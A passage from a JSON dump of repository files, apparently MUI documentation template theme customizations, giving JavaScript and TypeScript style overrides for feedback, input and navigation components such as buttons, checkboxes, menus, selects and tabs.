    "content": "import { alpha } from '@mui/material/styles';\nimport { gray, orange } from '../themePrimitives';\n\n/* eslint-disable import/prefer-default-export */\nexport const feedbackCustomizations = {\n  MuiAlert: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        borderRadius: 10,\n        backgroundColor: orange[100],\n        color: (theme.vars || theme).palette.text.primary,\n        border: `1px solid ${alpha(orange[300], 0.5)}`,\n        '& .MuiAlert-icon': {\n          color: orange[500],\n        },\n        ...theme.applyStyles('dark', {\n          backgroundColor: `${alpha(orange[900], 0.5)}`,\n          border: `1px solid ${alpha(orange[800], 0.5)}`,\n        }),\n      }),\n    },\n  },\n  MuiDialog: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        '& .MuiDialog-paper': {\n          borderRadius: '10px',\n          border: '1px solid',\n          borderColor: (theme.vars || theme).palette.divider,\n        },\n      }),\n    },\n  },\n  MuiLinearProgress: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        height: 8,\n        borderRadius: 8,\n        backgroundColor: gray[200],\n        ...theme.applyStyles('dark', {\n          backgroundColor: gray[800],\n        }),\n      }),\n    },\n  },\n};\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/shared-theme/customizations/feedback.tsx",
    "content": "import { Theme, alpha, Components } from '@mui/material/styles';\nimport { gray, orange } from '../themePrimitives';\n\n/* eslint-disable import/prefer-default-export */\nexport const feedbackCustomizations: Components<Theme> = {\n  MuiAlert: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        borderRadius: 10,\n        backgroundColor: orange[100],\n        color: (theme.vars || theme).palette.text.primary,\n        border: `1px solid ${alpha(orange[300], 0.5)}`,\n        '& .MuiAlert-icon': {\n          color: orange[500],\n        },\n        ...theme.applyStyles('dark', {\n          backgroundColor: `${alpha(orange[900], 0.5)}`,\n          border: `1px solid ${alpha(orange[800], 0.5)}`,\n        }),\n      }),\n    },\n  },\n  MuiDialog: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        '& .MuiDialog-paper': {\n          borderRadius: '10px',\n          border: '1px solid',\n          borderColor: (theme.vars || theme).palette.divider,\n        },\n      }),\n    },\n  },\n  MuiLinearProgress: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        height: 8,\n        borderRadius: 8,\n        backgroundColor: gray[200],\n        ...theme.applyStyles('dark', {\n          backgroundColor: gray[800],\n        }),\n      }),\n    },\n  },\n};\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/shared-theme/customizations/inputs.js",
    "content": "import { alpha } from '@mui/material/styles';\nimport { outlinedInputClasses } from '@mui/material/OutlinedInput';\nimport { svgIconClasses } from '@mui/material/SvgIcon';\nimport { toggleButtonGroupClasses } from '@mui/material/ToggleButtonGroup';\nimport { toggleButtonClasses } from '@mui/material/ToggleButton';\nimport CheckBoxOutlineBlankRoundedIcon from '@mui/icons-material/CheckBoxOutlineBlankRounded';\nimport CheckRoundedIcon from '@mui/icons-material/CheckRounded';\nimport RemoveRoundedIcon from '@mui/icons-material/RemoveRounded';\nimport { gray, brand } from '../themePrimitives';\n\n/* eslint-disable import/prefer-default-export */\nexport const inputsCustomizations = {\n  MuiButtonBase: {\n    defaultProps: {\n      disableTouchRipple: true,\n      disableRipple: true,\n    },\n    styleOverrides: {\n      root: ({ theme }) => ({\n        boxSizing: 'border-box',\n        transition: 'all 100ms ease-in',\n        '&:focus-visible': {\n          outline: `3px solid ${alpha(theme.palette.primary.main, 0.5)}`,\n          outlineOffset: '2px',\n        },\n      }),\n    },\n  },\n  MuiButton: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        boxShadow: 'none',\n        borderRadius: (theme.vars || theme).shape.borderRadius,\n        textTransform: 'none',\n        variants: [\n          {\n            props: {\n              size: 'small',\n            },\n            style: {\n              height: '2.25rem',\n              padding: '8px 12px',\n            },\n          },\n          {\n            props: {\n              size: 'medium',\n            },\n            style: {\n              height: '2.5rem', // 40px\n            },\n          },\n          {\n            props: {\n              color: 'primary',\n              variant: 'contained',\n            },\n            style: {\n              color: 'white',\n              backgroundColor: gray[900],\n              backgroundImage: `linear-gradient(to bottom, ${gray[700]}, ${gray[800]})`,\n              boxShadow: `inset 0 1px 0 ${gray[600]}, inset 0 -1px 0 1px hsl(220, 0%, 0%)`,\n              border: `1px solid ${gray[700]}`,\n              '&:hover': {\n                backgroundImage: 'none',\n                backgroundColor: gray[700],\n                boxShadow: 'none',\n              },\n              '&:active': {\n                backgroundColor: gray[800],\n              },\n              ...theme.applyStyles('dark', {\n                color: 'black',\n                backgroundColor: gray[50],\n                backgroundImage: `linear-gradient(to bottom, ${gray[100]}, ${gray[50]})`,\n                boxShadow: 'inset 0 -1px 0  hsl(220, 30%, 80%)',\n                border: `1px solid ${gray[50]}`,\n                '&:hover': {\n                  backgroundImage: 'none',\n                  backgroundColor: gray[300],\n                  boxShadow: 'none',\n                },\n                '&:active': {\n                  backgroundColor: gray[400],\n                },\n              }),\n            },\n          },\n          {\n            props: {\n              color: 'secondary',\n              variant: 'contained',\n            },\n            style: {\n              color: 'white',\n              backgroundColor: brand[300],\n              backgroundImage: `linear-gradient(to bottom, ${alpha(brand[400], 0.8)}, ${brand[500]})`,\n              boxShadow: `inset 0 2px 0 ${alpha(brand[200], 0.2)}, inset 0 -2px 0 ${alpha(brand[700], 0.4)}`,\n              border: `1px solid ${brand[500]}`,\n              '&:hover': {\n                backgroundColor: brand[700],\n                boxShadow: 'none',\n              },\n              '&:active': {\n                backgroundColor: brand[700],\n                backgroundImage: 'none',\n              },\n            },\n          },\n          {\n            props: {\n              variant: 'outlined',\n            },\n            style: {\n              color: (theme.vars || theme).palette.text.primary,\n              border: '1px solid',\n              borderColor: gray[200],\n              backgroundColor: alpha(gray[50], 0.3),\n              '&:hover': {\n                backgroundColor: gray[100],\n                borderColor: gray[300],\n              },\n              '&:active': {\n                backgroundColor: gray[200],\n              },\n              ...theme.applyStyles('dark', {\n                backgroundColor: gray[800],\n                borderColor: gray[700],\n                '&:hover': {\n                  backgroundColor: gray[900],\n                  borderColor: gray[600],\n                },\n                '&:active': {\n                  backgroundColor: gray[900],\n                },\n              }),\n            },\n          },\n          {\n            props: {\n              color: 'secondary',\n              variant: 'outlined',\n            },\n            style: {\n              color: brand[700],\n              border: '1px solid',\n              borderColor: brand[200],\n              backgroundColor: brand[50],\n              '&:hover': {\n                backgroundColor: brand[100],\n                borderColor: brand[400],\n              },\n              '&:active': {\n                backgroundColor: alpha(brand[200], 0.7),\n              },\n              ...theme.applyStyles('dark', {\n                color: brand[50],\n                border: '1px solid',\n                borderColor: brand[900],\n                backgroundColor: alpha(brand[900], 0.3),\n                '&:hover': {\n                  borderColor: brand[700],\n                  backgroundColor: alpha(brand[900], 0.6),\n                },\n                '&:active': {\n                  backgroundColor: alpha(brand[900], 0.5),\n                },\n              }),\n            },\n          },\n          {\n            props: {\n              variant: 'text',\n            },\n            style: {\n              color: gray[600],\n              '&:hover': {\n                backgroundColor: gray[100],\n              },\n              '&:active': {\n                backgroundColor: gray[200],\n              },\n              ...theme.applyStyles('dark', {\n                color: gray[50],\n                '&:hover': {\n                  backgroundColor: gray[700],\n                },\n                '&:active': {\n                  backgroundColor: alpha(gray[700], 0.7),\n                },\n              }),\n            },\n          },\n          {\n            props: {\n              color: 'secondary',\n              variant: 'text',\n            },\n            style: {\n              color: brand[700],\n              '&:hover': {\n                backgroundColor: alpha(brand[100], 0.5),\n              },\n              '&:active': {\n                backgroundColor: alpha(brand[200], 0.7),\n              },\n              ...theme.applyStyles('dark', {\n                color: brand[100],\n                '&:hover': {\n                  backgroundColor: alpha(brand[900], 0.5),\n                },\n                '&:active': {\n                  backgroundColor: alpha(brand[900], 0.3),\n                },\n              }),\n            },\n          },\n        ],\n      }),\n    },\n  },\n  MuiIconButton: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        boxShadow: 'none',\n        borderRadius: (theme.vars || theme).shape.borderRadius,\n        textTransform: 'none',\n        fontWeight: theme.typography.fontWeightMedium,\n        letterSpacing: 0,\n        color: (theme.vars || theme).palette.text.primary,\n        border: '1px solid ',\n        borderColor: gray[200],\n        backgroundColor: alpha(gray[50], 0.3),\n        '&:hover': {\n          backgroundColor: gray[100],\n          borderColor: gray[300],\n        },\n        '&:active': {\n          backgroundColor: gray[200],\n        },\n        ...theme.applyStyles('dark', {\n          backgroundColor: gray[800],\n          borderColor: gray[700],\n          '&:hover': {\n            backgroundColor: gray[900],\n            borderColor: gray[600],\n          },\n          '&:active': {\n            backgroundColor: gray[900],\n          },\n        }),\n        variants: [\n          {\n            props: {\n              size: 'small',\n            },\n            style: {\n              width: '2.25rem',\n              height: '2.25rem',\n              padding: '0.25rem',\n              [`& .${svgIconClasses.root}`]: { fontSize: '1rem' },\n            },\n          },\n          {\n            props: {\n              size: 'medium',\n            },\n            style: {\n              width: '2.5rem',\n              height: '2.5rem',\n            },\n          },\n        ],\n      }),\n    },\n  },\n  MuiToggleButtonGroup: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        borderRadius: '10px',\n        boxShadow: `0 4px 16px ${alpha(gray[400], 0.2)}`,\n        [`& .${toggleButtonGroupClasses.selected}`]: {\n          color: brand[500],\n        },\n        ...theme.applyStyles('dark', {\n          [`& .${toggleButtonGroupClasses.selected}`]: {\n            color: '#fff',\n          },\n          boxShadow: `0 4px 16px ${alpha(brand[700], 0.5)}`,\n        }),\n      }),\n    },\n  },\n  MuiToggleButton: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        padding: '12px 16px',\n        textTransform: 'none',\n        borderRadius: '10px',\n        fontWeight: 500,\n        ...theme.applyStyles('dark', {\n          color: gray[400],\n          boxShadow: '0 4px 16px rgba(0, 0, 0, 0.5)',\n          [`&.${toggleButtonClasses.selected}`]: {\n            color: brand[300],\n          },\n        }),\n      }),\n    },\n  },\n  MuiCheckbox: {\n    defaultProps: {\n      disableRipple: true,\n      icon: (\n        <CheckBoxOutlineBlankRoundedIcon sx={{ color: 'hsla(210, 0%, 0%, 0.0)' }} />\n      ),\n      checkedIcon: <CheckRoundedIcon sx={{ height: 14, width: 14 }} />,\n      indeterminateIcon: <RemoveRoundedIcon sx={{ height: 14, width: 14 }} />,\n    },\n    styleOverrides: {\n      root: ({ theme }) => ({\n        margin: 10,\n        height: 16,\n        width: 16,\n        borderRadius: 5,\n        border: '1px solid ',\n        borderColor: alpha(gray[300], 0.8),\n        boxShadow: '0 0 0 1.5px hsla(210, 0%, 0%, 0.04) inset',\n        backgroundColor: alpha(gray[100], 0.4),\n        transition: 'border-color, background-color, 120ms ease-in',\n        '&:hover': {\n          borderColor: brand[300],\n        },\n        '&.Mui-focusVisible': {\n          outline: `3px solid ${alpha(brand[500], 0.5)}`,\n          outlineOffset: '2px',\n          borderColor: brand[400],\n        },\n        '&.Mui-checked': {\n          color: 'white',\n          backgroundColor: brand[500],\n          borderColor: brand[500],\n          boxShadow: `none`,\n          '&:hover': {\n            backgroundColor: brand[600],\n          },\n        },\n        ...theme.applyStyles('dark', {\n          borderColor: alpha(gray[700], 0.8),\n          boxShadow: '0 0 0 1.5px hsl(210, 0%, 0%) inset',\n          backgroundColor: alpha(gray[900], 0.8),\n          '&:hover': {\n            borderColor: brand[300],\n          },\n          '&.Mui-focusVisible': {\n            borderColor: brand[400],\n            outline: `3px solid ${alpha(brand[500], 0.5)}`,\n            outlineOffset: '2px',\n          },\n        }),\n      }),\n    },\n  },\n  MuiInputBase: {\n    styleOverrides: {\n      root: {\n        border: 'none',\n      },\n      input: {\n        '&::placeholder': {\n          opacity: 0.7,\n          color: gray[500],\n        },\n      },\n    },\n  },\n  MuiOutlinedInput: {\n    styleOverrides: {\n      input: {\n        padding: 0,\n      },\n      root: ({ theme }) => ({\n        padding: '8px 12px',\n        color: (theme.vars || theme).palette.text.primary,\n        borderRadius: (theme.vars || theme).shape.borderRadius,\n        border: `1px solid ${(theme.vars || theme).palette.divider}`,\n        backgroundColor: (theme.vars || theme).palette.background.default,\n        transition: 'border 120ms ease-in',\n        '&:hover': {\n          borderColor: gray[400],\n        },\n        [`&.${outlinedInputClasses.focused}`]: {\n          outline: `3px solid ${alpha(brand[500], 0.5)}`,\n          borderColor: brand[400],\n        },\n        ...theme.applyStyles('dark', {\n          '&:hover': {\n            borderColor: gray[500],\n          },\n        }),\n        variants: [\n          {\n            props: {\n              size: 'small',\n            },\n            style: {\n              height: '2.25rem',\n            },\n          },\n          {\n            props: {\n              size: 'medium',\n            },\n            style: {\n              height: '2.5rem',\n            },\n          },\n        ],\n      }),\n      notchedOutline: {\n        border: 'none',\n      },\n    },\n  },\n  MuiInputAdornment: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        color: (theme.vars || theme).palette.grey[500],\n        ...theme.applyStyles('dark', {\n          color: (theme.vars || theme).palette.grey[400],\n        }),\n      }),\n    },\n  },\n  MuiFormLabel: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        typography: theme.typography.caption,\n        marginBottom: 8,\n      }),\n    },\n  },\n};\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/shared-theme/customizations/inputs.tsx",
    "content": "import { alpha, Theme, Components } from '@mui/material/styles';\nimport { outlinedInputClasses } from '@mui/material/OutlinedInput';\nimport { svgIconClasses } from '@mui/material/SvgIcon';\nimport { toggleButtonGroupClasses } from '@mui/material/ToggleButtonGroup';\nimport { toggleButtonClasses } from '@mui/material/ToggleButton';\nimport CheckBoxOutlineBlankRoundedIcon from '@mui/icons-material/CheckBoxOutlineBlankRounded';\nimport CheckRoundedIcon from '@mui/icons-material/CheckRounded';\nimport RemoveRoundedIcon from '@mui/icons-material/RemoveRounded';\nimport { gray, brand } from '../themePrimitives';\n\n/* eslint-disable import/prefer-default-export */\nexport const inputsCustomizations: Components<Theme> = {\n  MuiButtonBase: {\n    defaultProps: {\n      disableTouchRipple: true,\n      disableRipple: true,\n    },\n    styleOverrides: {\n      root: ({ theme }) => ({\n        boxSizing: 'border-box',\n        transition: 'all 100ms ease-in',\n        '&:focus-visible': {\n          outline: `3px solid ${alpha(theme.palette.primary.main, 0.5)}`,\n          outlineOffset: '2px',\n        },\n      }),\n    },\n  },\n  MuiButton: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        boxShadow: 'none',\n        borderRadius: (theme.vars || theme).shape.borderRadius,\n        textTransform: 'none',\n        variants: [\n          {\n            props: {\n              size: 'small',\n            },\n            style: {\n              height: '2.25rem',\n              padding: '8px 12px',\n            },\n          },\n          {\n            props: {\n              size: 'medium',\n            },\n            style: {\n              height: '2.5rem', // 40px\n            },\n          },\n          {\n            props: {\n              color: 'primary',\n              variant: 'contained',\n            },\n            style: {\n              color: 'white',\n              backgroundColor: gray[900],\n              backgroundImage: `linear-gradient(to bottom, ${gray[700]}, ${gray[800]})`,\n              boxShadow: `inset 0 1px 0 ${gray[600]}, inset 0 -1px 0 1px hsl(220, 0%, 0%)`,\n              border: `1px solid ${gray[700]}`,\n              '&:hover': {\n                backgroundImage: 'none',\n                backgroundColor: gray[700],\n                boxShadow: 'none',\n              },\n              '&:active': {\n                backgroundColor: gray[800],\n              },\n              ...theme.applyStyles('dark', {\n                color: 'black',\n                backgroundColor: gray[50],\n                backgroundImage: `linear-gradient(to bottom, ${gray[100]}, ${gray[50]})`,\n                boxShadow: 'inset 0 -1px 0  hsl(220, 30%, 80%)',\n                border: `1px solid ${gray[50]}`,\n                '&:hover': {\n                  backgroundImage: 'none',\n                  backgroundColor: gray[300],\n                  boxShadow: 'none',\n                },\n                '&:active': {\n                  backgroundColor: gray[400],\n                },\n              }),\n            },\n          },\n          {\n            props: {\n              color: 'secondary',\n              variant: 'contained',\n            },\n            style: {\n              color: 'white',\n              backgroundColor: brand[300],\n              backgroundImage: `linear-gradient(to bottom, ${alpha(brand[400], 0.8)}, ${brand[500]})`,\n              boxShadow: `inset 0 2px 0 ${alpha(brand[200], 0.2)}, inset 0 -2px 0 ${alpha(brand[700], 0.4)}`,\n              border: `1px solid ${brand[500]}`,\n              '&:hover': {\n                backgroundColor: brand[700],\n                boxShadow: 'none',\n              },\n              '&:active': {\n                backgroundColor: brand[700],\n                backgroundImage: 'none',\n              },\n            },\n          },\n          {\n            props: {\n              variant: 'outlined',\n            },\n            style: {\n              color: (theme.vars || theme).palette.text.primary,\n              border: '1px solid',\n              borderColor: gray[200],\n              backgroundColor: alpha(gray[50], 0.3),\n              '&:hover': {\n                backgroundColor: gray[100],\n                borderColor: gray[300],\n              },\n              '&:active': {\n                backgroundColor: gray[200],\n              },\n              ...theme.applyStyles('dark', {\n                backgroundColor: gray[800],\n                borderColor: gray[700],\n\n                '&:hover': {\n                  backgroundColor: gray[900],\n                  borderColor: gray[600],\n                },\n                '&:active': {\n                  backgroundColor: gray[900],\n                },\n              }),\n            },\n          },\n          {\n            props: {\n              color: 'secondary',\n              variant: 'outlined',\n            },\n            style: {\n              color: brand[700],\n              border: '1px solid',\n              borderColor: brand[200],\n              backgroundColor: brand[50],\n              '&:hover': {\n                backgroundColor: brand[100],\n                borderColor: brand[400],\n              },\n              '&:active': {\n                backgroundColor: alpha(brand[200], 0.7),\n              },\n              ...theme.applyStyles('dark', {\n                color: brand[50],\n                border: '1px solid',\n                borderColor: brand[900],\n                backgroundColor: alpha(brand[900], 0.3),\n                '&:hover': {\n                  borderColor: brand[700],\n                  backgroundColor: alpha(brand[900], 0.6),\n                },\n                '&:active': {\n                  backgroundColor: alpha(brand[900], 0.5),\n                },\n              }),\n            },\n          },\n          {\n            props: {\n              variant: 'text',\n            },\n            style: {\n              color: gray[600],\n              '&:hover': {\n                backgroundColor: gray[100],\n              },\n              '&:active': {\n                backgroundColor: gray[200],\n              },\n              ...theme.applyStyles('dark', {\n                color: gray[50],\n                '&:hover': {\n                  backgroundColor: gray[700],\n                },\n                '&:active': {\n                  backgroundColor: alpha(gray[700], 0.7),\n                },\n              }),\n            },\n          },\n          {\n            props: {\n              color: 'secondary',\n              variant: 'text',\n            },\n            style: {\n              color: brand[700],\n              '&:hover': {\n                backgroundColor: alpha(brand[100], 0.5),\n              },\n              '&:active': {\n                backgroundColor: alpha(brand[200], 0.7),\n              },\n              ...theme.applyStyles('dark', {\n                color: brand[100],\n                '&:hover': {\n                  backgroundColor: alpha(brand[900], 0.5),\n                },\n                '&:active': {\n                  backgroundColor: alpha(brand[900], 0.3),\n                },\n              }),\n            },\n          },\n        ],\n      }),\n    },\n  },\n  MuiIconButton: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        boxShadow: 'none',\n        borderRadius: (theme.vars || theme).shape.borderRadius,\n        textTransform: 'none',\n        fontWeight: theme.typography.fontWeightMedium,\n        letterSpacing: 0,\n        color: (theme.vars || theme).palette.text.primary,\n        border: '1px solid ',\n        borderColor: gray[200],\n        backgroundColor: alpha(gray[50], 0.3),\n        '&:hover': {\n          backgroundColor: gray[100],\n          borderColor: gray[300],\n        },\n        '&:active': {\n          backgroundColor: gray[200],\n        },\n        ...theme.applyStyles('dark', {\n          backgroundColor: gray[800],\n          borderColor: gray[700],\n          '&:hover': {\n            backgroundColor: gray[900],\n            borderColor: gray[600],\n          },\n          '&:active': {\n            backgroundColor: gray[900],\n          },\n        }),\n        variants: [\n          {\n            props: {\n              size: 'small',\n            },\n            style: {\n              width: '2.25rem',\n              height: '2.25rem',\n              padding: '0.25rem',\n              [`& .${svgIconClasses.root}`]: { fontSize: '1rem' },\n            },\n          },\n          {\n            props: {\n              size: 'medium',\n            },\n            style: {\n              width: '2.5rem',\n              height: '2.5rem',\n            },\n          },\n        ],\n      }),\n    },\n  },\n  MuiToggleButtonGroup: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        borderRadius: '10px',\n        boxShadow: `0 4px 16px ${alpha(gray[400], 0.2)}`,\n        [`& .${toggleButtonGroupClasses.selected}`]: {\n          color: brand[500],\n        },\n        ...theme.applyStyles('dark', {\n          [`& .${toggleButtonGroupClasses.selected}`]: {\n            color: '#fff',\n          },\n          boxShadow: `0 4px 16px ${alpha(brand[700], 0.5)}`,\n        }),\n      }),\n    },\n  },\n  MuiToggleButton: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        padding: '12px 16px',\n        textTransform: 'none',\n        borderRadius: '10px',\n        fontWeight: 500,\n        ...theme.applyStyles('dark', {\n          color: gray[400],\n          boxShadow: '0 4px 16px rgba(0, 0, 0, 0.5)',\n          [`&.${toggleButtonClasses.selected}`]: {\n            color: brand[300],\n          },\n        }),\n      }),\n    },\n  },\n  MuiCheckbox: {\n    defaultProps: {\n      disableRipple: true,\n      icon: (\n        <CheckBoxOutlineBlankRoundedIcon sx={{ color: 'hsla(210, 0%, 0%, 0.0)' }} />\n      ),\n      checkedIcon: <CheckRoundedIcon sx={{ height: 14, width: 14 }} />,\n      indeterminateIcon: <RemoveRoundedIcon sx={{ height: 14, width: 14 }} />,\n    },\n    styleOverrides: {\n      root: ({ theme }) => ({\n        margin: 10,\n        height: 16,\n        width: 16,\n        borderRadius: 5,\n        border: '1px solid ',\n        borderColor: alpha(gray[300], 0.8),\n        boxShadow: '0 0 0 1.5px hsla(210, 0%, 0%, 0.04) inset',\n        backgroundColor: alpha(gray[100], 0.4),\n        transition: 'border-color, background-color, 120ms ease-in',\n        '&:hover': {\n          borderColor: brand[300],\n        },\n        '&.Mui-focusVisible': {\n          outline: `3px solid ${alpha(brand[500], 0.5)}`,\n          outlineOffset: '2px',\n          borderColor: brand[400],\n        },\n        '&.Mui-checked': {\n          color: 'white',\n          backgroundColor: brand[500],\n          borderColor: brand[500],\n          boxShadow: `none`,\n          '&:hover': {\n            backgroundColor: brand[600],\n          },\n        },\n        ...theme.applyStyles('dark', {\n          borderColor: alpha(gray[700], 0.8),\n          boxShadow: '0 0 0 1.5px hsl(210, 0%, 0%) inset',\n          backgroundColor: alpha(gray[900], 0.8),\n          '&:hover': {\n            borderColor: brand[300],\n          },\n          '&.Mui-focusVisible': {\n            borderColor: brand[400],\n            outline: `3px solid ${alpha(brand[500], 0.5)}`,\n            outlineOffset: '2px',\n          },\n        }),\n      }),\n    },\n  },\n  MuiInputBase: {\n    styleOverrides: {\n      root: {\n        border: 'none',\n      },\n      input: {\n        '&::placeholder': {\n          opacity: 0.7,\n          color: gray[500],\n        },\n      },\n    },\n  },\n  MuiOutlinedInput: {\n    styleOverrides: {\n      input: {\n        padding: 0,\n      },\n      root: ({ theme }) => ({\n        padding: '8px 12px',\n        color: (theme.vars || theme).palette.text.primary,\n        borderRadius: (theme.vars || theme).shape.borderRadius,\n        border: `1px solid ${(theme.vars || theme).palette.divider}`,\n        backgroundColor: (theme.vars || theme).palette.background.default,\n        transition: 'border 120ms ease-in',\n        '&:hover': {\n          borderColor: gray[400],\n        },\n        [`&.${outlinedInputClasses.focused}`]: {\n          outline: `3px solid ${alpha(brand[500], 0.5)}`,\n          borderColor: brand[400],\n        },\n        ...theme.applyStyles('dark', {\n          '&:hover': {\n            borderColor: gray[500],\n          },\n        }),\n        variants: [\n          {\n            props: {\n              size: 'small',\n            },\n            style: {\n              height: '2.25rem',\n            },\n          },\n          {\n            props: {\n              size: 'medium',\n            },\n            style: {\n              height: '2.5rem',\n            },\n          },\n        ],\n      }),\n      notchedOutline: {\n        border: 'none',\n      },\n    },\n  },\n  MuiInputAdornment: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        color: (theme.vars || theme).palette.grey[500],\n        ...theme.applyStyles('dark', {\n          color: (theme.vars || theme).palette.grey[400],\n        }),\n      }),\n    },\n  },\n  MuiFormLabel: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        typography: theme.typography.caption,\n        marginBottom: 8,\n      }),\n    },\n  },\n};\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/shared-theme/customizations/navigation.js",
    "content": "import * as React from 'react';\nimport { alpha } from '@mui/material/styles';\n\nimport { buttonBaseClasses } from '@mui/material/ButtonBase';\nimport { dividerClasses } from '@mui/material/Divider';\nimport { menuItemClasses } from '@mui/material/MenuItem';\nimport { selectClasses } from '@mui/material/Select';\nimport { tabClasses } from '@mui/material/Tab';\nimport UnfoldMoreRoundedIcon from '@mui/icons-material/UnfoldMoreRounded';\nimport { gray, brand } from '../themePrimitives';\n\n/* eslint-disable import/prefer-default-export */\nexport const navigationCustomizations = {\n  MuiMenuItem: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        borderRadius: (theme.vars || theme).shape.borderRadius,\n        padding: '6px 8px',\n        [`&.${menuItemClasses.focusVisible}`]: {\n          backgroundColor: 'transparent',\n        },\n        [`&.${menuItemClasses.selected}`]: {\n          [`&.${menuItemClasses.focusVisible}`]: {\n            backgroundColor: alpha(theme.palette.action.selected, 0.3),\n          },\n        },\n      }),\n    },\n  },\n  MuiMenu: {\n    styleOverrides: {\n      list: {\n        gap: '0px',\n        [`&.${dividerClasses.root}`]: {\n          margin: '0 -8px',\n        },\n      },\n      paper: ({ theme }) => ({\n        marginTop: '4px',\n        borderRadius: (theme.vars || theme).shape.borderRadius,\n        border: `1px solid ${(theme.vars || theme).palette.divider}`,\n        backgroundImage: 'none',\n        background: 'hsl(0, 0%, 100%)',\n        boxShadow:\n          'hsla(220, 30%, 5%, 0.07) 0px 4px 16px 0px, hsla(220, 25%, 10%, 0.07) 0px 8px 16px -5px',\n        [`& .${buttonBaseClasses.root}`]: {\n          '&.Mui-selected': {\n            backgroundColor: alpha(theme.palette.action.selected, 0.3),\n          },\n        },\n        ...theme.applyStyles('dark', {\n          background: gray[900],\n          boxShadow:\n            'hsla(220, 30%, 5%, 0.7) 0px 4px 16px 0px, hsla(220, 25%, 10%, 0.8) 0px 8px 16px -5px',\n        }),\n      }),\n    },\n  },\n  MuiSelect: {\n    defaultProps: {\n      IconComponent: React.forwardRef((props, ref) => (\n        <UnfoldMoreRoundedIcon fontSize=\"small\" {...props} ref={ref} />\n      )),\n    },\n    styleOverrides: {\n      root: ({ theme }) => ({\n        borderRadius: (theme.vars || theme).shape.borderRadius,\n        border: '1px solid',\n        borderColor: gray[200],\n        backgroundColor: (theme.vars || theme).palette.background.paper,\n        boxShadow: `inset 0 1px 0 1px hsla(220, 0%, 100%, 0.6), inset 0 -1px 0 1px hsla(220, 35%, 90%, 0.5)`,\n        '&:hover': {\n          borderColor: gray[300],\n          backgroundColor: (theme.vars || theme).palette.background.paper,\n          boxShadow: 'none',\n        },\n        [`&.${selectClasses.focused}`]: {\n          outlineOffset: 0,\n          borderColor: gray[400],\n        },\n        '&:before, &:after': {\n          display: 'none',\n        },\n        ...theme.applyStyles('dark', {\n          borderRadius: (theme.vars || theme).shape.borderRadius,\n          borderColor: gray[700],\n          backgroundColor: (theme.vars || theme).palette.background.paper,\n          boxShadow: `inset 0 1px 0 1px ${alpha(gray[700], 0.15)}, inset 0 -1px 0 1px hsla(220, 0%, 0%, 0.7)`,\n          '&:hover': {\n            borderColor: alpha(gray[700], 0.7),\n            backgroundColor: (theme.vars || theme).palette.background.paper,\n            boxShadow: 'none',\n          },\n          [`&.${selectClasses.focused}`]: {\n            outlineOffset: 0,\n            borderColor: gray[900],\n          },\n          '&:before, &:after': {\n            display: 'none',\n          },\n        }),\n      }),\n      select: ({ theme }) => ({\n        display: 'flex',\n        alignItems: 'center',\n        ...theme.applyStyles('dark', {\n          display: 'flex',\n          alignItems: 'center',\n          '&:focus-visible': {\n            backgroundColor: gray[900],\n          },\n        }),\n      }),\n    },\n  },\n  MuiLink: {\n    defaultProps: {\n      underline: 'none',\n    },\n    styleOverrides: {\n      root: ({ theme }) => ({\n        color: (theme.vars || theme).palette.text.primary,\n        fontWeight: 500,\n        position: 'relative',\n        textDecoration: 'none',\n        width: 'fit-content',\n        '&::before': {\n          content: '\"\"',\n          position: 'absolute',\n          width: '100%',\n          height: '1px',\n          bottom: 0,\n          left: 0,\n          backgroundColor: (theme.vars || theme).palette.text.secondary,\n          opacity: 0.3,\n          transition: 'width 0.3s ease, opacity 0.3s ease',\n        },\n        '&:hover::before': {\n          width: 0,\n        },\n        '&:focus-visible': {\n          outline: `3px solid ${alpha(brand[500], 0.5)}`,\n          outlineOffset: '4px',\n          borderRadius: '2px',\n        },\n      }),\n    },\n  },\n  MuiDrawer: {\n    styleOverrides: {\n      paper: ({ theme }) => ({\n        backgroundColor: (theme.vars || theme).palette.background.default,\n      }),\n    },\n  },\n  MuiPaginationItem: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        '&.Mui-selected': {\n          color: 'white',\n          backgroundColor: (theme.vars || theme).palette.grey[900],\n        },\n        ...theme.applyStyles('dark', {\n          '&.Mui-selected': {\n            color: 'black',\n            backgroundColor: (theme.vars || theme).palette.grey[50],\n          },\n        }),\n      }),\n    },\n  },\n  MuiTabs: {\n    styleOverrides: {\n      root: { minHeight: 'fit-content' },\n      indicator: ({ theme }) => ({\n        backgroundColor: (theme.vars || theme).palette.grey[800],\n        ...theme.applyStyles('dark', {\n          backgroundColor: (theme.vars || theme).palette.grey[200],\n        }),\n      }),\n    },\n  },\n  MuiTab: {\n    styleOverrides: {\n      root: ({ theme }) => ({\n        padding: '6px 8px',\n        marginBottom: '8px',\n        textTransform: 'none',\n        minWidth: 'fit-content',\n        minHeight: 'fit-content',\n        color: (theme.vars || theme).palette.text.secondary,\n        borderRadius: (theme.vars || theme).shape.borderRadius,\n        border: '1px solid',\n        borderColor: 'transparent',\n        ':hover': {\n          color: (theme.vars || theme).palette.text.primary,\n          backgroundColor: gray[100],\n          borderColor: gray[200],\n        },\n        [`&.${tabClasses.selected}`]: {\n          color: gray[900],\n        },\n        ...theme.applyStyles('dark', {\n          ':hover': {\n            color: (theme.vars || theme).palette.text.primary,\n            backgroundColor: gray[800],\n            borderColor: gray[700],\n          },\n          [`&.${tabClasses.selected}`]: {\n            color: '#fff',\n          